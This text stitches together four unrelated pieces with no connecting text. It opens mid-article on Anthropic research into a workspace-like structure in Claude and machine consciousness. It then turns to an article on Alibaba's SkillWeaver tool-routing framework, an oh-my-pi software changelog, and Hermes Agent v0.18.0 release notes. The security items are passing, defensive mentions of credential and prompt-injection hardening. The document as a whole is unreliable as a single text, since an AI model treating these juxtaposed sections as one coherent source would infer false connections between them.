More striking still, the post-trained model appeared to monitor its own behavior. When roleplaying a non-Claude character, the workspace surfaced "disclaimer" and "fictional" — words absent from both prompt and output. When forced to select an option it did not prefer, an all-caps "BUT" appeared internally, even as the model argued for the prefilled choice without complaint. And when the model failed to suppress a thought it had been told not to have — a "white bear" effect familiar from psychology — it registered "damn" and failure-related words in the workspace, but only in the post-trained model, not the base.

What the discovery means — and doesn't mean — for the question of machine consciousness

The researchers engage carefully with the consciousness question and draw a sharp line between "access consciousness" — the functional notion of information being available for report and reasoning — and "phenomenal consciousness," the subjective quality of experience. "We take no position on this issue," the paper states regarding the latter, "and instead focus on the functional role played by consciously accessible information."

They also catalogue important differences. The brain sustains its workspace through recurrent loops; Claude's workspace evolves over a single forward pass. Human working memory degrades within seconds; Claude can recall information from anywhere in its context. And while human conscious experience includes visual, spatial, and bodily sensations, the model's workspace is organized almost entirely around words — likely because words are its only mode of action.

As of 2026, the scientific community remains divided. "Disagreement and uncertainty about AI consciousness persist among philosophers, scientists, and technical experts," and the field "remains in its earliest phase" of grappling with what consciousness even is and how you would detect it in another being. The Anthropic paper does not resolve these debates.

But the researchers close with a provocation that is likely to reverberate well beyond the interpretability community. "That such a structure exists at all in language models is striking," they write. "It suggests that the functional architecture associated with conscious access is not an accident of biological implementation, but a solution that learning systems converge on when faced with the right computational pressures."

If the mind is an ocean, as the paper's authors write in their opening line, they have spent the last year charting its currents in a system that has no biology, no evolution, and no body — and found, beneath the surface, a structure that looks unsettlingly like the one we use to think.

To address this challenge, researchers at Alibaba developed SkillWeaver, a framework that creates an execution graph for a given task and chooses the right skills for each of the nodes. They also introduce Skill-Aware Decomposition (SAD), a novel technique that uses a feedback loop to enable the agent to fetch and vet relevant tool candidates iteratively. This compositional approach and feedback loop mechanism distinguishes SkillWeaver from other tool-routing frameworks that choose tools in a one-shot fashion. 

SkillWeaver relates to real-world AI applications where agents autonomously orchestrate multi-tool ecosystems, such as the Model Context Protocol (MCP), to execute multi-step business operations like downloading datasets, transforming information, and creating visual reports. 

In practice, the researchers' experiments with SkillWeaver show that implementing this retrieve-and-route approach significantly increases accuracy while reducing token consumption by over 99% compared to naively exposing agents to an entire tool library.

For practitioners building AI agents, the main takeaway is that the granularity of task decomposition is the biggest bottleneck to accurate tool retrieval. 

The challenge of skill routing

Skills are a key pattern in modern LLM agent architectures. A skill is a modular, reusable tool specification that uses structured natural language documentation. 

As enterprise agents integrate with massive tool ecosystems, accurately routing user queries to the right skills becomes a difficult task. Exposing an entire library to an LLM to find the right tool is highly inefficient, quickly overwhelms context limits, and consumes hundreds of thousands of tokens.

Most current tool-use frameworks attempt to solve this through API retrieval, documentation matching, or hierarchical structures that treat routing strictly as a single-skill selection or per-step problem. 

However, this single-skill paradigm is insufficient for enterprise environments because real-world queries are inherently compositional. A standard business request such as "Download the dataset, transform it, and create visual reports" cannot be fulfilled by one tool. It requires breaking the prompt down and sequencing an API client, a data processor, and a visualization tool into a cohesive, multi-step execution plan.

How SkillWeaver and SAD work

To tackle this, the researchers frame the problem of handling complex tasks that require multiple skills as "compositional skill routing." Given a complex user prompt and a vast library of tools, an agent must simultaneously figure out how to break the request into a sequence of atomic sub-tasks, how to map each sub-task to the single best available skill, and how to compose those skills into an executable plan.

SkillWeaver orchestrates this process through three distinct stages: Decompose, Retrieve, and Compose. In the first stage, an LLM acts as a task decomposer, breaking the user's complex query down into a sequence of sub-tasks that each require one skill. Once the sub-tasks are clearly defined, the system uses an embedding model to compare each subtask against the skill library to pull a shortlist of the top candidate tools for each step. 

In the final stage, a planner evaluates the retrieved candidates based on how well they work together. It checks for inter-skill compatibility to ensure the outputs of one tool naturally flow into the inputs of the next. It then creates a final execution plan as a Directed Acyclic Graph (DAG) that maps out dependencies so independent tasks can potentially execute in parallel.

For example, consider a user asking an AI agent to "Download the dataset, transform it, and create visual reports." In the decompose stage, the decomposer LLM breaks this into three distinct sub-tasks: downloading the dataset, transforming the data, and creating the reports. 

In the retrieve stage, the system searches the library and finds candidates like “api-client” or “http-fetch” for task one, “csv-parser” or “etl-pipeline” for task two, and so on. Finally, the compose stage evaluates these options, selects the specific combination of “api-client,” “csv-parser,” and “chart-gen” that are most compatible, and wires them together into a final, ready-to-execute workflow.

A key challenge of this pipeline is that LLMs often produce generic step descriptions that fail to match the specific, technical vocabulary of the actual skills available in the library. To fix this, SkillWeaver introduces Iterative Skill-Aware Decomposition (SAD), a novel feedback loop. SAD works by having the LLM draft an initial plan, conducting a preliminary search to find loosely matching skills, and then feeding those retrieved skills back into the LLM as hints. This allows the LLM to rewrite its decomposition so the granularity and vocabulary perfectly align with the actual tools that exist.

SkillWeaver in action

To evaluate how SkillWeaver performs in realistic enterprise scenarios, the researchers created a custom benchmark called CompSkillBench. It consists of 300 multi-step queries of different difficulty levels. To mirror real-world environments, they used a library of 2,209 real-world skills sourced from the public MCP ecosystem, covering 24 functional categories like cloud infrastructure, finance, and databases. 

For the core engine, the researchers primarily used a lightweight 7-billion parameter model (Qwen2.5-7B-Instruct) for task decomposition, paired with a standard semantic search retriever (MiniLM with a FAISS index) to find the tools. SkillWeaver was evaluated against three main setups: a brute-force "LLM-Direct" method where they stuffed all the tool names into the prompt of a large model, a vanilla LLM-based decomposition without SAD, and a ReAct-style agent loop.

The experiments indicate that task decomposition is the main bottleneck. Standard LLM behavior falls short when dealing with large tool libraries, but the SAD feedback loop dramatically moves the needle. In the vanilla setup, the 7B model achieved a decomposition accuracy (i.e., predicting the correct number of steps) only 51.0% of the time. By activating the SAD feedback loop, accuracy jumped to 67.7% (with the larger Qwen-Max model, the accuracy reached 92%). On "hard" tasks requiring four to five distinct skills, SAD improved accuracy by 50%.

One fascinating finding was that larger models can actually perform worse when unguided. When tested in the vanilla setup, a larger 14-billion parameter model saw its accuracy plummet below the 7B model's accuracy because it tended to over-decompose tasks into microscopic, unnecessary steps. Once SAD was introduced, the retrieved tool hints anchored the model back to reality and increased its accuracy. This suggests that aligning an agent with the vocabulary of specific tools is often more impactful than paying for a larger, more expensive LLM.

Another important takeaway is token savings. The LLM-Direct baseline, which used the very large Qwen-Max model, showed that feeding all tools into the prompt of a large model fails. Despite near-perfect task breakdown capabilities, the massive model only retrieved the right tool category 21.1% of the time when flooded with tool options. SkillWeaver's targeted retrieve-and-route approach vastly outperformed this in accuracy while slashing context window consumption from an estimated 884,000 tokens down to roughly 1,160 tokens per query, a 99.9% reduction. For practitioners, this translates directly to drastically lower API costs and faster response times. 

Finally, the traditional ReAct baseline completely failed, achieving 0% decomposition accuracy. Its loop naturally collapses multi-step plans into isolated actions rather than explicitly mapping out a cohesive, multi-tool sequence.

Considerations for developers

While the researchers have not yet released the source code for SkillWeaver, their work was built on off-the-shelf tools that can easily be reproduced. 

Skill-Aware Decomposition (SAD), which is the key innovation at the heart of the framework, is a clever prompt-engineering and retrieval loop. The authors have shared the prompt templates in their paper, and developers can implement it themselves quite easily using standard orchestration libraries like LangChain, LlamaIndex, or even raw Python scripts.

As for the retrieval component, the authors built the core framework using all-MiniLM-L6-v2, an open-source embedding model. They found that swapping in a slightly stronger off-the-shelf encoder (BGE-base-en-v1.5) immediately boosted accuracy without any fine-tuning. While an off-the-shelf bi-encoder is great at getting a relevant tool into the top 10 candidates nearly 70% of the time, it struggles to consistently rank the perfect tool at exactly number one, achieving that only about 37% of the time. To bridge this gap, teams will likely need to implement a secondary cross-encoder or LLM-based reranker to re-order those top 10 candidates.

One upfront preparation requirement is vectorizing the tool library and building a FAISS index in advance. In practice, this is a negligible hurdle. Embedding and indexing all 2,209 skills in the benchmark took a mere 15 seconds. Once built, retrieving tools from the index adds less than 15 milliseconds of latency per query. For enterprise environments, syncing the tool index is a trivial background job. 

A current limitation in SkillWeaver is the lack of error recovery. While SkillWeaver successfully maps out a compatible DAG for execution, the authors' pilot study revealed the challenges of multi-step tool chains. For example, if an API call fails in step two, the entire chain breaks. The paper's core contribution is limited to the routing and planning phase. For a true production deployment, practitioners must build their own error recovery, fallback, and retry mechanisms on top of the compose stage to handle real-world API timeouts or malformed outputs.

Changed

• Removed automated injection of reasoning suppression prompts in OpenAI responses

@oh-my-pi/pi-catalog

Fixed

• Fixed ZenMux model discovery to run without a ZENMUX_API_KEY, so newly published ZenMux models (for example anthropic/claude-fable-5-free) auto-update into the runtime models.db cache instead of waiting on a regenerated models.json.
• Fixed ZenMux runtime discovery to query the /api/v1/models endpoint even when the resolved provider base URL points at the Anthropic-compatible route, so discovery no longer requests a non-existent /api/anthropic/models path.

Removed

• Removed reasoning suppression prompt logic for GPT-5 models

@oh-my-pi/pi-coding-agent

Breaking Changes

• Changed search tool paths parameter to a single semicolon-delimited path string parameter
• Changed the grep, glob, and ast_grep tools to take a single optional path argument instead of a paths array. path accepts one path or a semicolon-delimited list (src; tests); omitting it searches the workspace root (.). Multi-path search, delimited expansion, and internal-URL scopes are unchanged. (ast_edit continues to take paths.)

Added

• Added speech.enhanced setting to rewrite assistant output into natural spoken prose
• Added speech.enhanced setting: assistant output is rewritten into natural spoken prose by the tiny/smol model before synthesis — code blocks become one-clause descriptions, links speak their label or site name, numbers and symbols read naturally, lists become flowing sentences. Blocks are rewritten fence-aware and coalesced (bounded to two concurrent completions); any failed or timed-out rewrite falls back to the mechanical cleanup so speech never blocks on the model.

Changed

• Reduced extension startup cost, especially on Windows, by reading each extension source-graph module from disk once per load instead of twice (the graph scan now feeds the load-time rewrite hook) (#4196).
• Redesigned speech vocalization for low latency and clean spoken content. Assistant markdown now runs through a speakable-text pipeline before synthesis: code blocks and tables are silent, links speak their label, bare URLs speak their host, inline-code ticks/emphasis/heading/bullet markers are stripped, and long file paths collapse to their basename. Segmentation is now parent-side and emits at sentence boundaries immediately (the previous engine-side splitter held each sentence until the next one arrived), with clause-level cuts for long sentences and an idle flush when generation stalls mid-sentence. macOS gains a gapless streaming playback backend (ffmpeg AudioToolbox, sox fallback) instead of spawning afplay per sentence.

Fixed

• Fixed ALL-CAPS acronyms (e.g. CNPG, ETL, JWT) being lowered to title case in auto-generated session titles. reconcileTitleCasing (packages/coding-agent/src/tiny/text.ts) now maps ALL-CAPS source tokens into an acronyms table and restores them when the model produces a title-cased artifact (Cnpg), while still declining restoration on shouty input (FIX the BUG NOW, ALL ERROR HANDLING) via a consecutive-ALL-CAPS heuristic. Title prompts also instruct the model to preserve ALL-CAPS acronyms verbatim. (#4220)
• Fixed cold-start --model resolution for extension providers whose catalogs come only from fetchDynamicModels, so fresh cached runtime models are available before session startup falls back or hard-fails. (#4216)
• Fixed plugin and legacy extension discovery repeatedly re-reading plugin manifests and walking extension node_modules by caching results until plugin cache invalidation. (#4197)
• Fixed discoverExtensionPaths invoking every registered extension-module provider (claude, codex, gemini, opencode) on startup and discarding all non-native results. The extension-module capability is now loaded with providers: ["native"], skipping four foreign directory walks per session — noticeable on Windows where the walks are slowest (#4198).
• Fixed /move overlay running an fs.statSync per directory entry per keystroke; the directory listing cache now stores Dirent[] and classifies entries without a syscall, falling back to statSync only for symlink entries (#4199).
• Fixed default model switches being persisted without changing the active goal-mode session when the current context exceeded the target model window. (#4219)
• Fixed live tool preview spinners staying pinned to their first frame for eval and shell-style renderers. (#4170)
• Fixed isolated task merges failing when the parent working tree carried WIP for a file the isolated subagent also touched. commitPatchToBranchWorktree now tries plain apply and git apply --3way first (agent-only outcome when the WIP-side blob is tracked in HEAD), then falls back to seeding the temp worktree with the baseline WIP so the delta patch's HEAD+WIP context matches, and rewinds WIP-only files afterward so they don't leak into the branch commit. Covers untracked WIP files, staged-new WIP files, and overlaps --3way cannot resolve. (#4136)
• Fixed discoverAgents() skipping agents/ subdirectories inside OMP extension packages, so agents shipped by omp plugin install-ed npm plugins (e.g. loom) and --extension/extensions: settings roots now load the same way their sibling skills/, hooks/, tools/ directories already do. The new scan goes through listOmpExtensionRoots, so Claude marketplace installs continue to flow through the claude-plugins provider without being double-counted. (#3920)
• Fixed plan mode hanging without converging on ask/resolve after advisor cards, idle IRC messages, or follow-on turns. Plan-mode decision enforcement ran on only the non-synthetic prompt() return; continuation/wake paths settled via agent_end and bypassed it. Advisor cards and idle IRC are now recorded into context without waking an autonomous turn, and the ask/resolve decision is enforced at the universal agent_end terminal settle via a bounded-retry counter (provider-neutral required, both tools kept available) that reminds-then-forces a fixed number of times and then yields to the user — never looping, never silently ending plan mode un-converged. An irc send await:true to an idle plan-mode session now answers the sender through the existing ephemeral side-channel auto-reply instead of stranding it until its wait timeout, and a queued forced plan decision is dropped when its continuation is skipped or plan mode exits. (#3910)
• Reduced subagent streaming CPU cost: the recent-output window no longer re-splits the full (up to 8 KB) tail on every streamed text token. Fragments without a newline extend the current last line in place, and a full recompute runs only when line boundaries actually change.
• Reduced task-render CPU cost: the task result frame (repainted ~30×/sec via the spinner) previously did 7+ full passes over the result set (some/filter/reduce); a single pass now derives the status booleans, footer counts, and request total, and incremental review extraction reuses the yield data the caller already normalized instead of re-normalizing it.
• Reduced model-resolution cost: resolveModelRoleValue now builds the preference context (an O(n) model-order map over all available models) once and reuses it across every fallback pattern instead of rebuilding it per pattern, and matchModel hoists the case-folded pattern once instead of .toLowerCase()-ing it for every candidate across each filter pass.
• Reduced read-tool allocation: line counting counts newlines directly instead of allocating via split("\n"), and the hashline formatter no longer counts the same content twice.
• Fixed the assistant-message streaming fast path dropping the transient flag, which disabled the transient render path (code-highlight skip and streaming prefix caches) on every same-shape streaming tick. In-flight renders now correctly skip per-tick syntax highlighting; highlighting applies once at message finalization.
• Fixed hidden goal-mode todo context: phase names and task text are now sanitized before prompt injection (no raw newlines or control characters forging extra context lines), and the block is only rendered with tool-accurate guidance when the todo tool is active or discoverable instead of unconditionally instructing the agent to call an unavailable tool.
• Fixed custom tool loading treating process.exit() from a tool module's import or factory as a host process exit instead of a recoverable load failure. Custom tools now load under the shared extension exit guard, so an exiting tool is skipped with a load error while remaining tools still load (#1704).
• Fixed stuttering/latency in speech by running synthesis chunks through the player gaplessly
• Fixed race condition causing EPIPE errors and broken pipes during speech playback
• Fixed interrupted speech audio by ensuring segments queue and drain in order
• Fixed speech vocalization starting only after the entire reply was synthesized: ONNX inference blocks the TTS worker's event loop, so per-segment IPC audio chunks queued unflushed and arrived in one burst. Streaming sends now drain the IPC channel before the next segment's inference, cutting time-to-first-audio to ~1.5s regardless of reply length.
• Fixed an unhandled EPIPE: broken pipe, write rejection at the end of speech playback: the streaming player's stop() raced an un-awaited FileSink.end() against the backend SIGKILL, and mid-session writes never awaited the flush. Writes now await the flush (so a dead backend is detected and the chunk replays on the next candidate or the per-file path) and stop() swallows the expected teardown rejection.

@oh-my-pi/collab-web

Changed

• Updated the glob, grep, and ast_grep tool cards to read the new single path argument, falling back to the legacy paths array so historical transcripts still render their search scope.

@oh-my-pi/omp-stats

Added

• Added a Tools tab to the omp stats dashboard (/#/tools): per-tool call counts, error rates, result/argument payload sizes, per-model breakdown, and a stacked calls-over-time chart. Token and cost columns attribute each invoking turn's real provider usage evenly across that turn's tool calls. Existing databases re-parse sessions once on the next sync to backfill historical tool calls.

@oh-my-pi/pi-utils

Fixed

• Fixed parseJsonWithRepair failing tool calls whose streamed arguments contain an unquoted string value (e.g. {"paths": packages/foo/*, "i": "…"}). Final parsing now recovers such barewords in object/array value position as strings, terminating at , / } / ] / newline. Recovery deliberately refuses anything that could mask real structure or bad data — truncated values, tokens containing " / { / [ or a key-like : (URL :// and Windows :\ colons stay literal), and non-finite atoms (NaN, Infinity, undefined) — and streaming partial parses still roll back unfinished barewords instead of committing them.

What's Changed

• Fix todo HUD and goal context follow-ups by @jeffscottward in #3777
• perf: streaming-reveal/render throughput + core hot-path optimizations by @oldschoola in #3843
• fix(session): converge plan mode on ask/resolve across continuation paths by @metaphorics in #3911
• fix(task): scan OMP extension agents/ dirs in discoverAgents by @roboomp in #3922
• fix(coding-agent): stopped isolated task merges failing when working tree carries WIP for files the agent also modifies by @roboomp in #4140
• fix(tui): animate live tool spinners by @roboomp in #4172
• fix(robomp): run sandbox setup/teardown off the event loop safely by @metaphorics in #4184
• fix(coding-agent): scope discoverExtensionPaths to native extension-module provider by @roboomp in #4202
• fix(model-discovery): auto-update ZenMux models into models.db without a key by @metaphorics in #4204
• fix(coding-agent): cache plugin extension resolution by @roboomp in #4209
• fix(providers): hydrate runtime model cache before selection by @roboomp in #4217
• fix(session): keep model switches active after rate limits by @roboomp in #4221
• fix(coding-agent): guard custom tool process exits during load by @roboomp in #1706
• fix(tui): stop /move overlay from statting every entry per keystroke by @roboomp in #4200

Full Changelog: v16.3.1...v16.3.2

Release Date: July 1, 2026
Since v0.17.0: ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · 949 issues closed · 370+ community contributors

The Judgment Release. Over the last week and a half the team put nearly all of its effort into one goal: resolve every P0 and P1 issue and PR in the entire Hermes Agent repo — and as of this release, 100% of them are closed. Zero open P0s. Zero open P1s. That's ~700 highest-priority items cleared as part of ~1,950 total issues and PRs closed this window. We intend to keep P0/P1 at zero from here on.

On top of that clean-sweep, v0.18.0 is about how well Hermes thinks and how it knows when its work is actually done. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, /goal gained completion contracts, and /learn + /journey turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.

🎯 The P0/P1 Clean Sweep — 100% resolved

This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:

That's ~692 highest-priority items resolved in twelve days — and at the moment the sweep completed, the open P0/P1 count hit 0 across the entire repo. The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue #56391) and its fix (#56416), closed on an all-nighter right before this release cut.

Special shoutout to @kshitijk4poor, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.

We're keeping P0/P1 at 0 from here forward. 🫡

✨ Highlights

• Mixture-of-Agents is now a first-class model you can pick — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a moa provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (#46081, #53548, #53561 — @teknium1)

• See every model's reasoning, then watch the answer stream in — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (#53793, #53855, #55625, #56101 — @teknium1)

• The agent verifies its own work — "done" means proven, not claimed — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. /goal gained completion contracts: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a pre_verify hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (#50501, #52285, #55413, #53552 — @teknium1, @OutThisLife)

• /learn — turn anything into a reusable skill by describing it — Run /learn <anything> and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (#51506, #52372 — @teknium1)

• /journey — a playable timeline of everything Hermes has learned about you — The CLI and TUI gained /journey, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new memory graph (a top-down, playable radial timeline of memories and skills) and for the first time you can actually see what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (#55555, #55859, #55226 — @OutThisLife)

• Delegate a pile of work and keep going — background fan-out — delegate_task can now fan out multiple subagents that all run in the background: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (#49734 — @teknium1)

• First-class coding Projects in the desktop app — The desktop app gained real, per-profile Projects — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper project → repo → lane model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (#49037, #54385, #54517 — @OutThisLife)

• Run Hermes at scale — scale-to-zero and drain coordination — The gateway can now go dormant when idle and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (#52243, #52937, #54824 — @teknium1, @benbarclay)

• Cheaper self-improvement — smarter background review — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (#49252 — @teknium1)

• Compose your next prompt in your editor — /prompt — /prompt opens your $EDITOR so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (#50509 — @teknium1)

• Google Vertex AI — Gemini through your GCP service account, no static key — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (#56363 — @teknium1, @slawt)

• Security round — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron base_url overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (xapp-) token redaction, a browser cloud-metadata floor enforced on every backend, and an aiohttp CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (#50476, #56196, #54166, #56227, #52349, #56237 — @teknium1, @kshitijk4poor, @claudlos)

🧠 Mixture-of-Agents (MoA)

MoA graduated from a mode to a first-class part of the model system this window.

• Presets as selectable virtual models — each named MoA preset appears as a model under provider moa; pick it in any model picker and Hermes routes through the ensemble (#46081, #53561, #53775 — @teknium1)
• /moa is now one-shot sugar — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (#53548 — @teknium1)
• Reference-model output shown as labelled blocks in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (#53793, #53855 — @teknium1)
• Aggregator response streams live instead of appearing whole after a silence (#55625 — @teknium1)
• References see full tool state and fire on every user/tool response; advisory references end on a user turn and get a reference-role system prompt (#54016, #54007 — @teknium1)
• Opt-in full-turn trace persistence to JSONL (moa.save_traces) for debugging and eval (#56101 — @teknium1)
• Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (#53580, #53780, #53827, #53281, #53275, #53556 — @teknium1)
• MoA slot provider-identity unified on the single call_llm chokepoint; HermesBench results documented (#55991, #53206 — @teknium1)

✅ Verification & Goals — the agent proves its work

• Completion contracts for /goal — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (#50501 — @teknium1)
• /goal wait <pid> — park the standing-goal loop on a background process instead of re-poking the agent (#50503 — @teknium1)
• Coding verification evidence ledger — profile-scoped record of canonical project checks detected by agent.coding_context; gateway exposes verification status (#52285, #52286 — @OutThisLife)
• pre_verify hook + coding guidance config; verification stop loop + ad-hoc verification scripts (#55413, #52296, #52297 — @OutThisLife)
• verify-on-stop defaults OFF with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (#53552, #54740, #55449, #52412 — @teknium1, @OutThisLife, @GodsBoy)

🎓 Self-Improvement (Learn / Journey)

• /learn <anything> — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (#51506, #52372, #55956 — @teknium1)
• /journey — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (#55555, #55859 — @OutThisLife)
• Cheaper background review — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (#49252 — @teknium1)
• memory graph in the desktop — playable radial timeline of memories + skills over time (#55226 — @OutThisLife)

🖥️ Hermes Desktop App

Coding cockpit

• First-class Projects — per-profile sidebar, coding rail, review pane, agent project tools (project → repo → lane); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (#49037, #54385 — @OutThisLife)
• Multi-terminal panel with read-only agent terminals; persist & restore terminal tabs + scrollback across relaunch (#54517, #54585 — @OutThisLife)
• PR-style file diffs in chat; in-app spot editor for the file preview pane; inline rich embeds, diagrams & alerts in assistant markdown (#50731, #52772, #52935 — @OutThisLife)

UX & surfaces

• Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (#51094, #54907, #55033, #49488 — @OutThisLife, @austinpickett)
• Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (#55154, #52086, #52993, #54558 — @OutThisLife)
• Backup import/create/download from the web UI; add context-usage popover; flag already-installed themes in install pickers; config-driven Electron launch flags + GPU policy (#54611, #55410, #53991 — @teknium1, @OutThisLife)
• Pets — roaming pet (opt-in), calmer/realistic roam, Alt+wheel scaling never cropped, frame-perfect hatch flow + CPU-safe chroma, pop-out overlay + notifications (#55114, #55400, #52877, #47959, #52303 — @OutThisLife)

Refactor wave (composer / god-file de-entangle)

• Decomposed the composer into isolated engine hooks; extracted branch/esc/url/placeholder/popout engines; split thread.tsx, sidebar/index.tsx, onboarding overlay, and use-prompt-actions god files into focused modules; shared WebSocket layer decoupling desktop from dashboard (hermes serve) (#55500, #55842, #55451, #55453, #55807, #55504, #54568 — @OutThisLife)
• perf: bound tool-result rendering so big /learn runs don't freeze; fast session switching under load (#52273, #52620 — @OutThisLife)

📊 Web Dashboard

• Auto-initiate portal SSO redirect on unauthenticated load; interactive auth setup on no-provider non-loopback bind; confidential-client (client_secret) support in self-hosted OIDC (#54846, #50551, #55344 — @teknium1, @benbarclay)
• Catalogue all memory-provider API keys in OPTIONAL_ENV_VARS; list & add arbitrary custom .env keys on the Keys page; expose cron job execution fields; backup import/create/download (#54546, #54552, #53551, #54611 — @benbarclay, @teknium1)
• Offload PTY spawn/close off the event loop; exclude non-interactive providers from interactive login surfaces (#53227, #53239 — @IAvecilla)

🏗️ Core Agent & Architecture

Delegation & subagents

• Background fan-out — parallel subagents run in the background, one consolidated return when all finish; calm "will resume" affordance for background delegate_task (#49734, #52756 — @teknium1, @OutThisLife)
• Track background subagents in the CLI + TUI status bar (#51441, #51485 — @teknium1)

Agent loop, tools & coding context

• One-shot LLM helper + llm.oneshot gateway RPC; expose coding-context project facts (project.facts RPC) (#51261, #51259 — @OutThisLife)
• web_extract truncate-and-store instead of LLM summarization; concurrent @-reference expansion (#54843, #55207 — @teknium1, @kshitijk4poor)
• Friendly human-phrased tool labels for built-in tools; /reasoning full (uncapped thinking); /timestamps + timestamps in /history; /prompt composes in $EDITOR (#55166, #50499, #50506, #50509 — @teknium1)
• Per-reasoning-model stale-timeout floor in stream + non-stream detectors; escalate SIGTERM→SIGKILL on host-pid termination after grace (#52845, #50489 — @teknium1)
• Multiple HERMES_WRITE_SAFE_ROOT dirs; opt-in HTTP/WS body capture to an isolated, share-excluded gui_bodies.log (#53292, #49044 — @kshitijk4poor)

Compression & sessions

• In-place compaction option (single session id); flip in_place default to True with a guard fix (#49739, #52658 — @teknium1)
• Backup includes projects.db and kanban boards in the pre-update snapshot (#52990 — @kshitijk4poor)

Providers & models

• Google Vertex AI first-class provider for Gemini over the OpenAI-compatible endpoint — auto-mints and refreshes short-lived OAuth2 tokens from a service-account JSON / ADC (no static key); salvages & modernizes #8427 by @slawt (#56363 — @teknium1, @slawt)
• Krea via managed Nous Subscription gateway; Z.AI endpoint picker (Global/China/Coding Plan); Ollama-cloud reasoning_effort wiring; remove google-gemini-cli + google-antigravity OAuth providers (#52647, #52364, #51494, #50492 — @teknium1, @kshitijk4poor)
• Honor NOUS_INFERENCE_BASE_URL env override for Nous OAuth; keep Nous auth fresh for idle dashboard/gateway agents (#52270, #50567 — @benbarclay, @teknium1)

🌐 Gateway, Fleet & Relay

Scale-to-zero & drain

• Scale-to-zero idle detection + dormant-quiesce (Phase 0); hardened dormancy guards; fixed arm-gate counting disabled placeholder platforms (#52243, #52359, #52831 — @teknium1, @benbarclay)
• External drain coordination (safe-shutdown Phase 2); suppress home-channel shutdown broadcast on flagged drains; persist in-flight transcript on restart/shutdown drain timeout; busy/idle readout for safe lifecycle actions (#52937, #54824, #50312, #50131 — @teknium1, @benbarclay, @kshitijk4poor)
• Default restart_drain_timeout to 0 to kill a systemd crash loop; self-heal a gateway stranded in draining/degraded (#54066, #55397 — @teknium1)

Relay (Phase 5 / 6)

• Wake primitive (gateway side); going-idle / buffered-flip primitive; passthrough_forward over WS; multi-platform-per-agent identity + per-frame egress; forward stable instance id at self-provision; declare relevance policy to the connector (#51595, #51572, #50702, #52830, #50772, #51248 — @benbarclay)
